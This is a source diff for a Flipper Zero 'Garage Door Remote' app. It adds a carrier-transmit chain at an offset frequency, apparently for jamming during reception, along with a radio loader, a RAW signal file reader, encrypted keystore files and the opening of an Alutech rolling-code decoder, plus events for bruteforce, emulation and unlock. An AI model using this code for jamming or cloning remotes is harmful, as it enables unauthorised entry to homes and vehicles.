+    *out_size = src_size;
+    return copy;
+}
+
+GDRTxChain* gdr_tx_chain_alloc(void) {
+    GDRTxChain* chain = malloc(sizeof(GDRTxChain));
+    furi_check(chain);
+    memset(chain, 0, sizeof(GDRTxChain));
+    chain->preset_name = furi_string_alloc();
+    furi_check(chain->preset_name);
+    chain->state = GDRTxRxStateIDLE;
+    return chain;
+}
+
+void gdr_tx_chain_free(GDRTxChain* chain) {
+    if(!chain) {
+        return;
+    }
+
+    gdr_tx_chain_stop(chain);
+
+    if(chain->device) {
+        subghz_devices_idle(chain->device);
+        radio_device_loader_end(chain->device);
+        chain->device = NULL;
+    }
+
+    if(chain->preset_data) {
+        free(chain->preset_data);
+        chain->preset_data = NULL;
+        chain->preset_data_size = 0;
+    }
+
+    if(chain->preset_name) {
+        furi_string_free(chain->preset_name);
+        chain->preset_name = NULL;
+    }
+
+    free(chain);
+}
+
+bool gdr_tx_chain_acquire_device(GDRTxChain* chain) {
+    furi_check(chain);
+
+    chain->device = radio_device_loader_set(NULL, SubGhzRadioDeviceTypeInternal);
+    if(!chain->device) {
+        FURI_LOG_E(TAG, "Failed to acquire internal radio");
+        return false;
+    }
+
+    if(radio_device_loader_is_external(chain->device)) {
+        FURI_LOG_E(TAG, "Internal radio requested but external was acquired");
+        radio_device_loader_end(chain->device);
+        chain->device = NULL;
+        return false;
+    }
+
+    subghz_devices_reset(chain->device);
+    subghz_devices_idle(chain->device);
+    chain->data_gpio = subghz_devices_get_data_gpio(chain->device);
+    if(!chain->data_gpio) {
+        FURI_LOG_E(TAG, "Internal radio has no data GPIO");
+        radio_device_loader_end(chain->device);
+        chain->device = NULL;
+        return false;
+    }
+    FURI_LOG_I(TAG, "Acquired internal radio for carrier TX");
+    return true;
+}
+
+bool gdr_tx_chain_configure(
+    GDRTxChain* chain,
+    SubGhzSetting* setting,
+    uint32_t rx_frequency,
+    int32_t offset_hz,
+    uint8_t tx_power) {
+    furi_check(chain);
+    furi_check(setting);
+
+    const uint8_t* source_preset =
+        subghz_setting_get_preset_data_by_name(setting, GDR_TX_CARRIER_PRESET);
+    if(!source_preset) {
+        FURI_LOG_E(TAG, "Carrier preset %s is unavailable", GDR_TX_CARRIER_PRESET);
+        return false;
+    }
+
+    size_t preset_count = subghz_setting_get_preset_count(setting);
+    size_t source_size = 0;
+    for(size_t i = 0; i < preset_count; i++) {
+        if(strcmp(subghz_setting_get_preset_name(setting, i), GDR_TX_CARRIER_PRESET) ==
+           0) {
+            source_size = subghz_setting_get_preset_data_size(setting, i);
+            break;
+        }
+    }
+    if(!source_size) {
+        FURI_LOG_E(TAG, "Carrier preset %s has zero size", GDR_TX_CARRIER_PRESET);
+        return false;
+    }
+
+    if(chain->preset_data) {
+        free(chain->preset_data);
+        chain->preset_data = NULL;
+        chain->preset_data_size = 0;
+    }
+
+    chain->preset_data =
+        gdr_tx_chain_copy_preset(source_preset, source_size, &chain->preset_data_size);
+    if(!chain->preset_data) {
+        FURI_LOG_E(TAG, "Failed to copy preset data");
+        return false;
+    }
+
+    gdr_tx_chain_apply_tx_power(chain->preset_data, chain->preset_data_size, tx_power);
+    furi_string_set(chain->preset_name, GDR_TX_CARRIER_PRESET);
+
+    const int64_t tx_frequency_signed = (int64_t)rx_frequency + offset_hz;
+    if(tx_frequency_signed <= 0 || tx_frequency_signed > UINT32_MAX) {
+        FURI_LOG_E(
+            TAG,
+            "TX offset out of range (rx=%lu offset=%ld)",
+            rx_frequency,
+            (long)offset_hz);
+        return false;
+    }
+    const uint32_t tx_frequency = (uint32_t)tx_frequency_signed;
+    if(!subghz_devices_is_frequency_valid(chain->device, tx_frequency)) {
+        FURI_LOG_E(
+            TAG,
+            "Invalid TX frequency %lu (rx=%lu offset=%ld)",
+            tx_frequency,
+            rx_frequency,
+            (long)offset_hz);
+        return false;
+    }
+
+    chain->frequency = tx_frequency;
+    return true;
+}
+
+bool gdr_tx_chain_start_carrier(GDRTxChain* chain) {
+    furi_check(chain);
+    if(!chain->device || !chain->data_gpio || !chain->preset_data) {
+        FURI_LOG_E(TAG, "start rejected (incomplete stack)");
+        return false;
+    }
+    if(chain->state == GDRTxRxStateTx) {
+        return true;
+    }
+
+    subghz_devices_reset(chain->device);
+    subghz_devices_idle(chain->device);
+    subghz_devices_load_preset(chain->device, FuriHalSubGhzPresetCustom, chain->preset_data);
+    subghz_devices_set_frequency(chain->device, chain->frequency);
+    furi_hal_gpio_init(chain->data_gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedLow);
+    furi_hal_gpio_write(chain->data_gpio, true);
+    if(!subghz_devices_set_tx(chain->device)) {
+        FURI_LOG_E(TAG, "Carrier TX rejected on %lu Hz", chain->frequency);
+        furi_hal_gpio_write(chain->data_gpio, false);
+        furi_hal_gpio_init(chain->data_gpio, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
+        subghz_devices_idle(chain->device);
+        return false;
+    }
+    chain->state = GDRTxRxStateTx;
+    FURI_LOG_I(TAG, "Carrier TX started on %lu Hz", chain->frequency);
+    return true;
+}
+
+void gdr_tx_chain_stop(GDRTxChain* chain) {
+    if(!chain) {
+        return;
+    }
+    if(chain->state != GDRTxRxStateTx) {
+        return;
+    }
+
+    if(chain->device) {
+        subghz_devices_idle(chain->device);
+    }
+    if(chain->data_gpio) {
+        furi_hal_gpio_write(chain->data_gpio, false);
+        furi_hal_gpio_init(chain->data_gpio, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
+    }
+    chain->state = GDRTxRxStateIDLE;
+}
+
+#endif // ENABLE_SHIELD_RX_SCENE

applications/system/Garage Door Remote/helpers/gdr_tx_chain.h

@@ -0,0 +1,38 @@
+// helpers/gdr_tx_chain.h
+#pragma once
+
+#include "gdr_types.h"
+
+#ifdef ENABLE_SHIELD_RX_SCENE
+
+#include <lib/subghz/subghz_setting.h>
+#include <lib/subghz/devices/devices.h>
+
+#include "radio_device_loader.h"
+
+typedef struct {
+    const SubGhzDevice* device;
+    const GpioPin* data_gpio;
+    uint8_t* preset_data;
+    size_t preset_data_size;
+    FuriString* preset_name;
+    uint32_t frequency;
+    GDRTxRxState state;
+} GDRTxChain;
+
+GDRTxChain* gdr_tx_chain_alloc(void);
+void gdr_tx_chain_free(GDRTxChain* chain);
+
+bool gdr_tx_chain_acquire_device(GDRTxChain* chain);
+
+bool gdr_tx_chain_configure(
+    GDRTxChain* chain,
+    SubGhzSetting* setting,
+    uint32_t rx_frequency,
+    int32_t offset_hz,
+    uint8_t tx_power);
+
+bool gdr_tx_chain_start_carrier(GDRTxChain* chain);
+void gdr_tx_chain_stop(GDRTxChain* chain);
+
+#endif // ENABLE_SHIELD_RX_SCENE

applications/system/Garage Door Remote/helpers/gdr_types.h

@@ -0,0 +1,95 @@
+// helpers/gdr_types.h
+#pragma once
+
+#include <furi.h>
+#include <furi_hal.h>
+#include "../defines.h"
+
+typedef enum {
+    GDRViewVariableItemList,
+    GDRViewSubmenu,
+    GDRViewWidget,
+    GDRViewReceiver,
+    GDRViewAbout,
+    GDRViewFileBrowser,
+    GDRViewTextInput,
+#ifdef ENABLE_DUAL_RX_SCENE
+    GDRViewDualReceiver,
+#endif
+} GDRView;
+
+typedef enum {
+    // Custom events for views
+    GDRCustomEventViewReceiverOK,
+    GDRCustomEventViewReceiverConfig,
+    GDRCustomEventViewReceiverBack,
+    GDRCustomEventViewReceiverDeleteItem,
+    GDRCustomEventViewReceiverUnlock,
+    // Custom events for scenes
+    GDRCustomEventSceneReceiverUpdate,
+    GDRCustomEventReceiverDeferredRxStart,
+    GDRCustomEventSceneSettingLock,
+    // File management
+    GDRCustomEventReceiverInfoSave,
+    GDRCustomEventReceiverInfoSaveConfirm,
+    GDRCustomEventReceiverInfoEmulate,
+    GDRCustomEventReceiverInfoBruteforceStart,
+    GDRCustomEventReceiverInfoBruteforceCancel,
+    GDRCustomEventSavedInfoDelete,
+    // Emulator
+    GDRCustomEventSavedInfoEmulate,
+    GDRCustomEventEmulateTransmit,
+    GDRCustomEventEmulateStop,
+    GDRCustomEventEmulateExit,
+    // Sub decode
+    GDRCustomEventSubDecodeUpdate,
+    GDRCustomEventSubDecodeSave,
+    GDRCustomEventSubDecodeBruteforceStart,
+    GDRCustomEventPsaBruteforceComplete,
+    // File Browser
+    GDRCustomEventSavedFileSelected,
+    // Need saving confirmation
+    GDRCustomEventSceneStay,
+    GDRCustomEventSceneExit,
+    // About scene
+    GDRCustomEventAboutToggleEmulate,
+#ifdef ENABLE_DUAL_RX_SCENE
+    // Dual RX scene
+    GDRCustomEventDualReceiverDeferredRxStart,
+    GDRCustomEventDualReceiverUpdate,
+    GDRCustomEventViewDualReceiverOK,
+    GDRCustomEventViewDualReceiverBack,
+    GDRCustomEventViewDualReceiverDeleteItem,
+    GDRCustomEventViewDualReceiverConfig,
+#endif
+#ifdef ENABLE_SHIELD_RX_SCENE
+    GDRCustomEventShieldReceiverDeferredStart,
+    GDRCustomEventShieldReceiverUpdate,
+#endif
+} GDRCustomEvent;
+
+typedef enum {
+    GDRLockOff,
+    GDRLockOn,
+} GDRLock;
+
+typedef enum {
+    GDRTxRxStateIDLE,
+    GDRTxRxStateRx,
+    GDRTxRxStateTx,
+    GDRTxRxStateSleep,
+} GDRTxRxState;
+
+typedef enum {
+    GDRHopperStateOFF,
+    GDRHopperStateRunning,
+    GDRHopperStatePause,
+    GDRHopperStateRSSITimeOut,
+} GDRHopperState;
+
+typedef enum {
+    GDRRxKeyStateIDLE,
+    GDRRxKeyStateBack,
+    GDRRxKeyStateStart,
+    GDRRxKeyStateAddKey,
+} GDRRxKeyState;

applications/system/Garage Door Remote/helpers/radio_device_loader.c

@@ -0,0 +1,142 @@
+// helpers/radio_device_loader.c
+#include "radio_device_loader.h"
+
+#include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
+#include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
+#include <furi.h>
+#include <furi_hal.h>
+#include "../defines.h"
+
+#define TAG "RadioDeviceLoader"
+
+static bool radio_device_loader_otg_enabled_by_loader = false;
+
+static void radio_device_loader_power_on() {
+    uint8_t attempts = 0;
+    while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
+        furi_hal_power_enable_otg();
+        // CC1101 power-up time
+        furi_delay_ms(10);
+    }
+    if(furi_hal_power_is_otg_enabled()) {
+        radio_device_loader_otg_enabled_by_loader = true;
+    }
+    FURI_LOG_D(TAG, "OTG power enabled after %d attempts", attempts);
+}
+
+static void radio_device_loader_power_off() {
+    if(radio_device_loader_otg_enabled_by_loader && furi_hal_power_is_otg_enabled()) {
+        furi_hal_power_disable_otg();
+        radio_device_loader_otg_enabled_by_loader = false;
+        FURI_LOG_D(TAG, "OTG power disabled");
+    }
+}
+
+bool radio_device_loader_is_connect_external(const char* name) {
+    bool is_connect = false;
+    bool is_otg_enabled = furi_hal_power_is_otg_enabled();
+
+    if(!is_otg_enabled) {
+        radio_device_loader_power_on();
+    }
+
+    const SubGhzDevice* device = subghz_devices_get_by_name(name);
+    if(device) {
+        is_connect = subghz_devices_is_connect(device);
+        FURI_LOG_D(TAG, "External device '%s' connect check: %s", name, is_connect ? "YES" : "NO");
+    } else {
+        FURI_LOG_W(TAG, "Could not get device by name: %s", name);
+    }
+
+    if(!is_otg_enabled) {
+        radio_device_loader_power_off();
+    }
+    return is_connect;
+}
+
+const SubGhzDevice* radio_device_loader_set(
+    const SubGhzDevice* current_radio_device,
+    SubGhzRadioDeviceType radio_device_type) {
+    const SubGhzDevice* target_radio_device = NULL;
+
+    // Decide the target device first (external if requested+present, else internal)
+    if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101 &&
+       radio_device_loader_is_connect_external(SUBGHZ_DEVICE_CC1101_EXT_NAME)) {
+        radio_device_loader_power_on();
+        target_radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME);
+        if(!target_radio_device) {
+            FURI_LOG_E(TAG, "Failed to get external CC1101 device, falling back to internal");
+        }
+    }
+
+    if(!target_radio_device) {
+        target_radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
+        if(!target_radio_device) {
+            FURI_LOG_E(TAG, "Failed to get internal CC1101 device");
+            return NULL;
+        }
+    }
+
+    // If we’re already on the target device, don’t reload
+    if(current_radio_device == target_radio_device) {
+        if(target_radio_device == subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME)) {
+            FURI_LOG_I(TAG, "External CC1101 already selected");
+        } else {
+            FURI_LOG_I(TAG, "Internal CC1101 already selected");
+        }
+        return target_radio_device;
+    }
+
+    // Cleanly stop the current device before switching
+    if(current_radio_device) {
+        radio_device_loader_end(current_radio_device);
+    }
+
+    // Start the target device
+    subghz_devices_begin(target_radio_device);
+
+    // Log what we ended up with
+    if(target_radio_device == subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME)) {
+        FURI_LOG_I(TAG, "Switched to external CC1101");
+    } else {
+        if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101) {
+            FURI_LOG_I(TAG, "External requested but unavailable; switched to internal CC1101");
+        } else {
+            FURI_LOG_I(TAG, "Switched to internal CC1101");
+        }
+    }
+
+    return target_radio_device;
+}
+
+bool radio_device_loader_is_external(const SubGhzDevice* radio_device) {
+    if(!radio_device) {
+        FURI_LOG_W(TAG, "is_external called with NULL device");
+        return false;
+    }
+
+    const SubGhzDevice* internal_device =
+        subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
+    bool is_external = (radio_device != internal_device);
+
+    FURI_LOG_D(
+        TAG,
+        "is_external check: device=%p, internal=%p, result=%s",
+        radio_device,
+        internal_device,
+        is_external ? "EXTERNAL" : "INTERNAL");
+
+    return is_external;
+}
+
+void radio_device_loader_end(const SubGhzDevice* radio_device) {
+    furi_check(radio_device);
+
+    if(radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)) {
+        subghz_devices_end(radio_device);
+        FURI_LOG_I(TAG, "External radio device ended");
+    } else {
+        FURI_LOG_D(TAG, "Internal radio device - no cleanup needed");
+    }
+    radio_device_loader_power_off();
+}

applications/system/Garage Door Remote/helpers/radio_device_loader.h

@@ -0,0 +1,21 @@
+// helpers/radio_device_loader.h
+#pragma once
+
+#include <lib/subghz/devices/devices.h>
+
+#define SUBGHZ_DEVICE_CC1101_INT_NAME "cc1101_int"
+#define SUBGHZ_DEVICE_CC1101_EXT_NAME "cc1101_ext"
+
+/** SubGhzRadioDeviceType */
+typedef enum {
+    SubGhzRadioDeviceTypeInternal,
+    SubGhzRadioDeviceTypeExternalCC1101,
+} SubGhzRadioDeviceType;
+
+const SubGhzDevice* radio_device_loader_set(
+    const SubGhzDevice* current_radio_device,
+    SubGhzRadioDeviceType radio_device_type);
+
+bool radio_device_loader_is_connect_external(const char* name);
+bool radio_device_loader_is_external(const SubGhzDevice* radio_device);
+void radio_device_loader_end(const SubGhzDevice* radio_device);

applications/system/Garage Door Remote/helpers/raw_file_reader.c

@@ -0,0 +1,376 @@
+#include "raw_file_reader.h"
+
+#ifdef ENABLE_SUB_DECODE_SCENE
+#include <stdint.h>
+#include <toolbox/stream/stream.h>
+#include <lib/flipper_format/flipper_format.h>
+#include "../protocols/protocols_common.h"
+
+#define TAG "RawFileReader"
+
+static const char local_flipper_format_delimiter = ':';
+static const char local_flipper_format_comment = '#';
+static const char local_flipper_format_eoln = '\n';
+static const char local_flipper_format_eolr = '\r';
+
+struct FlipperFormat {
+    Stream* stream;
+    bool strict_mode;
+};
+
+RawFileReader* raw_file_reader_alloc(void) {
+    RawFileReader* reader = malloc(sizeof(RawFileReader));
+    furi_check(reader);
+    memset(reader, 0, sizeof(RawFileReader));
+    return reader;
+}
+
+void raw_file_reader_free(RawFileReader* reader) {
+    if(!reader) return;
+    raw_file_reader_close(reader);
+    free(reader);
+}
+
+static inline bool local_flipper_format_stream_is_space(char c) {
+    return c == ' ' || c == '\t' || c == local_flipper_format_eolr;
+}
+
+static bool local_flipper_format_stream_read_value(Stream* stream, FuriString* value, bool* last) {
+    enum {
+        LeadingSpace,
+        ReadValue,
+        TrailingSpace
+    } state = LeadingSpace;
+    const size_t buffer_size = 32;
+    uint8_t buffer[buffer_size];
+    bool result = false;
+    bool error = false;
+
+    furi_string_reset(value);
+
+    while(true) {
+        size_t was_read = stream_read(stream, buffer, buffer_size);
+
+        if(was_read == 0) {
+            if(state != LeadingSpace && stream_eof(stream)) {
+                result = true;
+                *last = true;
+            } else {
+                error = true;
+            }
+        }
+
+        for(size_t i = 0; i < was_read; i++) {
+            const uint8_t data = buffer[i];
+
+            if(state == LeadingSpace) {
+                if(local_flipper_format_stream_is_space(data)) {
+                    continue;
+                } else if(data == local_flipper_format_eoln) {
+                    stream_seek(stream, (int32_t)i - (int32_t)was_read, StreamOffsetFromCurrent);
+                    error = true;
+                    break;
+                } else {
+                    state = ReadValue;
+                    furi_string_push_back(value, data);
+                }
+            } else if(state == ReadValue) {
+                if(local_flipper_format_stream_is_space(data)) {
+                    state = TrailingSpace;
+                } else if(data == local_flipper_format_eoln) {
+                    if(!stream_seek(
+                           stream, (int32_t)i - (int32_t)was_read, StreamOffsetFromCurrent)) {
+                        error = true;
+                    } else {
+                        result = true;
+                        *last = true;
+                    }
+                    break;
+                } else {
+                    furi_string_push_back(value, data);
+                }
+            } else if(state == TrailingSpace) {
+                if(local_flipper_format_stream_is_space(data)) {
+                    continue;
+                } else if(!stream_seek(
+                              stream, (int32_t)i - (int32_t)was_read, StreamOffsetFromCurrent)) {
+                    error = true;
+                } else {
+                    *last = (data == local_flipper_format_eoln);
+                    result = true;
+                }
+                break;
+            }
+        }
+
+        if(error || result) break;
+    }
+
+    return result;
+}
+
+static bool local_flipper_format_stream_read_valid_key(Stream* stream, FuriString* key) {
+    furi_string_reset(key);
+    const size_t buffer_size = 32;
+    uint8_t buffer[buffer_size];
+
+    bool found = false;
+    bool error = false;
+    bool accumulate = true;
+    bool new_line = true;
+
+    while(true) {
+        size_t was_read = stream_read(stream, buffer, buffer_size);
+        if(was_read == 0) break;
+
+        for(size_t i = 0; i < was_read; i++) {
+            uint8_t data = buffer[i];
+            if(data == local_flipper_format_eoln) {
+                // EOL found, clean data, start accumulating data and set the new_line flag
+                furi_string_reset(key);
+                accumulate = true;
+                new_line = true;
+            } else if(data == local_flipper_format_eolr) {
+                // ignore
+            } else if(data == local_flipper_format_comment && new_line) {
+                // if there is a comment character and we are at the beginning of a new line
+                // do not accumulate comment data and reset the new_line flag
+                accumulate = false;
+                new_line = false;
+            } else if(data == local_flipper_format_delimiter) {
+                if(new_line) {
+                    // we are on a "new line" and found the delimiter
+                    // this can only be if we have previously found some kind of key, so
+                    // clear the data, set the flag that we no longer want to accumulate data
+                    // and reset the new_line flag
+                    furi_string_reset(key);
+                    accumulate = false;
+                    new_line = false;
+                } else {
+                    // parse the delimiter only if we are accumulating data
+                    if(accumulate) {
+                        // we found the delimiter, move the rw pointer to the delimiter location
+                        // and signal that we have found something
+                        if(!stream_seek(
+                               stream, (int32_t)i - (int32_t)was_read, StreamOffsetFromCurrent)) {
+                            error = true;
+                            break;
+                        }
+
+                        found = true;
+                        break;
+                    }
+                }
+            } else {
+                // just new symbol, reset the new_line flag
+                new_line = false;
+                if(accumulate) {
+                    // and accumulate data if we want
+                    furi_string_push_back(key, data);
+                }
+            }
+        }
+
+        if(found || error) break;
+    }
+
+    return found;
+}
+
+static bool
+    local_flipper_format_stream_seek_to_key(Stream* stream, const char* key, bool strict_mode) {
+    bool found = false;
+    FuriString* read_key;
+
+    read_key = furi_string_alloc();
+
+    while(!stream_eof(stream)) {
+        if(local_flipper_format_stream_read_valid_key(stream, read_key)) {
+            if(furi_string_cmp_str(read_key, key) == 0) {
+                if(!stream_seek(stream, 2, StreamOffsetFromCurrent)) break;
+
+                found = true;
+                break;
+            } else if(strict_mode) {
+                found = false;
+                break;
+            }
+        }
+    }
+    furi_string_free(read_key);
+
+    return found;
+}
+
+static bool local_flipper_format_stream_get_value_count(
+    Stream* stream,
+    const char* key,
+    uint32_t* count,
+    bool strict_mode) {
+    bool result = false;
+    bool last = false;
+
+    FuriString* value;
+    value = furi_string_alloc();
+
+    do {
+        if(!local_flipper_format_stream_seek_to_key(stream, key, strict_mode)) break;
+        *count = 0;
+
+        result = true;
+        while(true) {
+            if(!local_flipper_format_stream_read_value(stream, value, &last)) {
+                result = false;
+                break;
+            }
+
+            *count = *count + 1;
+            if(last) break;
+        }
+
+    } while(false);
+
+    furi_string_free(value);
+    return result;
+}
+
+bool raw_file_reader_open(RawFileReader* reader, const char* file_path) {
+    if(!reader || !file_path) return false;
+
+    raw_file_reader_close(reader);
+
+    reader->storage = furi_record_open(RECORD_STORAGE);
+    reader->storage_opened = true;
+    reader->ff = flipper_format_file_alloc(reader->storage);
+
+    if(!flipper_format_file_open_existing(reader->ff, file_path)) {
+        FURI_LOG_E(TAG, "Failed to open file: %s", file_path);
+        raw_file_reader_close(reader);
+        return false;
+    }
+
+    FuriString* temp_str = furi_string_alloc();
+    uint32_t version = 0;
+
+    bool valid = false;
+    do {
+        if(!flipper_format_read_header(reader->ff, temp_str, &version)) {
+            FURI_LOG_E(TAG, "Failed to read header");
+            break;
+        }
+
+        if(furi_string_cmp_str(temp_str, "Flipper SubGhz RAW File") != 0) {
+            FURI_LOG_E(TAG, "Not a RAW file");
+            break;
+        }
+
+        if(!flipper_format_read_string(reader->ff, FF_PROTOCOL, temp_str)) {
+            FURI_LOG_E(TAG, "Missing Protocol field");
+            break;
+        }
+
+        if(furi_string_cmp_str(temp_str, "RAW") != 0) {
+            FURI_LOG_E(TAG, "Protocol is not RAW");
+            break;
+        }
+
+        valid = true;
+    } while(false);
+
+    furi_string_free(temp_str);
+
+    if(!valid) {
+        raw_file_reader_close(reader);
+        return false;
+    }
+
+    reader->buffer_count = 0;
+    reader->buffer_index = 0;
+    reader->file_finished = false;
+    reader->current_level = true;
+
+    FURI_LOG_I(TAG, "Opened RAW file: %s", file_path);
+
+    reader->count = 0;
+    uint32_t temp_count = 0;
+
+    while(local_flipper_format_stream_get_value_count(
+        reader->ff->stream, "RAW_Data", &temp_count, reader->ff->strict_mode)) {
+        //reader->file_finished = true;
+        reader->count += temp_count;
+    }
+    flipper_format_rewind(reader->ff);
+
+    return true;
+}
+
+void raw_file_reader_close(RawFileReader* reader) {
+    if(!reader) return;
+
+    if(reader->ff) {
+        flipper_format_free(reader->ff);
+        reader->ff = NULL;
+    }
+
+    if(reader->storage_opened) {
+        furi_record_close(RECORD_STORAGE);
+        reader->storage_opened = false;
+    }
+
+    reader->storage = NULL;
+    reader->buffer_count = 0;
+    reader->buffer_index = 0;
+    reader->count = 0;
+    reader->file_finished = false;
+}
+
+static bool raw_file_reader_load_chunk(RawFileReader* reader) {
+    if(reader->file_finished) return false;
+
+    size_t to_read = (reader->count < RAW_READER_BUFFER_SIZE) ? reader->count :
+                                                                RAW_READER_BUFFER_SIZE;
+
+    if(!flipper_format_read_int32(reader->ff, "RAW_Data", reader->buffer, to_read)) {
+        reader->file_finished = true;
+        return false;
+    }
+
+    reader->buffer_count = to_read;
+    reader->buffer_index = 0;
+    reader->count -= to_read;
+
+    return true;
+}
+
+bool raw_file_reader_get_next(RawFileReader* reader, bool* level, uint32_t* duration) {
+    if(!reader || !level || !duration) return false;
+
+    if(memmgr_get_free_heap() < 1024) {
+        FURI_LOG_E(TAG, "Not enough memory to continue reading");
+        return false;
+    }
+
+    if(reader->buffer_index >= reader->buffer_count) {
+        if(!raw_file_reader_load_chunk(reader)) {
+            return false;
+        }
+    }
+
+    int32_t value = reader->buffer[reader->buffer_index++];
+
+    if(value >= 0) {
+        *level = true;
+        *duration = (uint32_t)value;
+    } else {
+        *level = false;
+        *duration = (uint32_t)(-value);
+    }
+
+    return true;
+}
+
+bool raw_file_reader_is_finished(RawFileReader* reader) {
+    if(!reader) return true;
+    return reader->file_finished && (reader->buffer_index >= reader->buffer_count);
+}
+#endif // ENABLE_SUB_DECODE_SCENE

applications/system/Garage Door Remote/helpers/raw_file_reader.h

@@ -0,0 +1,29 @@
+#pragma once
+
+#include "../gdr_app_i.h"
+#ifdef ENABLE_SUB_DECODE_SCENE
+#include <furi.h>
+#include <storage/storage.h>
+#include <flipper_format/flipper_format.h>
+
+#define RAW_READER_BUFFER_SIZE 512
+
+typedef struct {
+    Storage* storage;
+    FlipperFormat* ff;
+    int32_t buffer[RAW_READER_BUFFER_SIZE];
+    size_t buffer_count;
+    size_t buffer_index;
+    uint32_t count;
+    bool file_finished;
+    bool current_level;
+    bool storage_opened;
+} RawFileReader;
+
+RawFileReader* raw_file_reader_alloc(void);
+void raw_file_reader_free(RawFileReader* reader);
+bool raw_file_reader_open(RawFileReader* reader, const char* file_path);
+void raw_file_reader_close(RawFileReader* reader);
+bool raw_file_reader_get_next(RawFileReader* reader, bool* level, uint32_t* duration);
+bool raw_file_reader_is_finished(RawFileReader* reader);
+#endif // ENABLE_SUB_DECODE_SCENE

applications/system/Garage Door Remote/keystore/encrypted

@@ -0,0 +1,32 @@
+Filetype: Flipper SubGhz Keystore File
+Version: 0
+Encryption: 1
+IV: 42 69 67 42 72 6F 74 68 72 57 61 74 63 68 65 73
+DDCCB3575BB076A57F94B6E31CB6FF6DE4AD7D020EBF225BB046D0AA202748FC
+B9AC4402F1119004DB4857C9986B97CAE8834B6356A01E405796004BE61FD583
+B68059DADBD99A913BE87005120503710728E0D85BD1BBCC5AB92DB86C5C8A70
+1B47835E16262394EA1A1AE54A5AB9CF05BFFFD6D4FB35C0F68EAF8D9F1256AC
+8F0D12248CD35A63A625E798D9743618F723338159B620C5960F10BBC28A7194
+4D638F8F7B87FAFA150731D67CC59C1D1C77D62991A6735054E63F0580B83BEA
+F19B69682FB1D65628074C1ED817BAC35B51A1A4977201B65BFEBBE14F436BB46E6108D6320BF4F67D14285A15119B5F
+0E5400DE76B4B737D9E86561328DD5FC06F5C7798666640EE143B05D228754CE
+4C5A993BCD310E4EE11E9AB0E092889798D48FA12F7633E254578FD88859E67C
+074FC9A36207CA20851708680C7AE7D680B1DE16DAF79C5A4502E5EF4F8A103E
+65F94C6C6FD191A7BB5FCFA77940145411C7588495417DEDD1B0B6CE771EE35F
+DE08B464B312A3190246EC46CE17A41874C07E14E652213E67FC028CF8DA2064
+0117D991241760F0E36136F4DB676DC1C87981DD201A66DC9031CD3543160E0824FF61B9126CDE7C580D999BD1BEF0BA
+3C6D9C324DB570278E7D67F73C01B2782BC2430C483933F7D90B7F543215A63B7A5064A1F5A27A240ABDFFA41F3099AA
+2A77CFCAEC76BBAF33AF9A84097351C2DD17FAE884CB1EDE762E3F130AB55614
+F6299EC2AF12AC0619AD8E2EBA39D92401D0C1C7045B0C0629DCD030FFDFFCEC
+1EB9B7D48E72A43A81BFD774943384C3DAAA99193F06C024E1480C0E72018E45
+16880430929593B97C8F5FEB23455550685ECC9CC2A6E43A1ED23ECF1FA8B95E
+36F6FD37E1728BF8F7411181F39C063942F4200341AEF70D8C7F5E75F9F4867CC474BB2B0A373D86859DA7FBD0576AEA
+84B20904AA979685846EA784C89C5AE3AAF1E9669B8B4D081061D863EFDB6C47
+3932EBA44E1A3B1C53AF210DAD5B78DB4EB6BEC9D138B6C1DCB6A681AAE5B383
+D94A3E8C9F9D74337660D49F3A39B0AFFB6F630EF879548A041FF0731558DC4F86FEDAEBD6AFC537A5C5307E450B9846
+54DC1CE43222E743F72C168AC66A818E5D4305A63C90602DC67095A41A6A4B5FA2F484BCA174A686CFCD256AA88A9213
+A598EE96C92DA9EF21406E1705D4C6527D7651FB6C9AB0750615937C2AECDD5B
+38AA52A3EC8EC608C990D13F2FE15977C7926A355DCE89509429AD2347123CB5
+E6D2647DBF847DB721263B5BD2DD355F6970228E19AC0B69AE8A669C6E2F14E7
+423BB75987A636BD8696CA11E511BCD99CFC7D8E557FD18E04DCF52DD51B2E4C
+F2BA90DB6F8298F92C88B5F7FB274B8650FE84C3E9542AB8B9744F2FD9BA277B9FBB9B17026FF3BF364AD625F28FDE66

applications/system/Garage Door Remote/keystore/vag

@@ -0,0 +1,6 @@
+Filetype: Flipper SubGhz Keystore RAW File
+Version: 0
+Encryption: 1
+IV: B9 A8 C0 F6 9A 78 B1 CB 3E A7 69 0E 86 53 9F A7
+Encrypt_data: RAW
+BA2A8B783B6DB3E17DEF07EA2AE0104FAF722A07775E96338D734FFD0EA8BB29BF1A5A6451B1784AE2B51D967EFB45EAFAE2C20D5721553727C026D4009BBCB0

applications/system/Garage Door Remote/protocols/alutech_at_4n.c

@@ -0,0 +1,931 @@
+#include "alutech_at_4n.h"
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+
+#include <lib/subghz/blocks/custom_btn_i.h>
+
+#define TAG "SubGhzProtocoAlutech_at_4n"
+
+#define SUBGHZ_NO_ALUTECH_AT_4N_RAINBOW_TABLE         0xFFFFFFFFFFFFFFFF
+#define SUBGHZ_ALUTECH_AT_4N_RAINBOW_TABLE_SIZE_BYTES 32
+
+//variable used to bypass CounterMode settings if user just change Counter or Button
+static bool bypass = false;
+
+static const SubGhzBlockConst subghz_protocol_alutech_at_4n_const = {
+    .te_short = 400,
+    .te_long = 800,
+    .te_delta = 140,
+    .min_count_bit_for_found = 72,
+};
+
+struct SubGhzProtocolDecoderAlutech_at_4n {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint32_t crc;
+    uint16_t header_count;
+
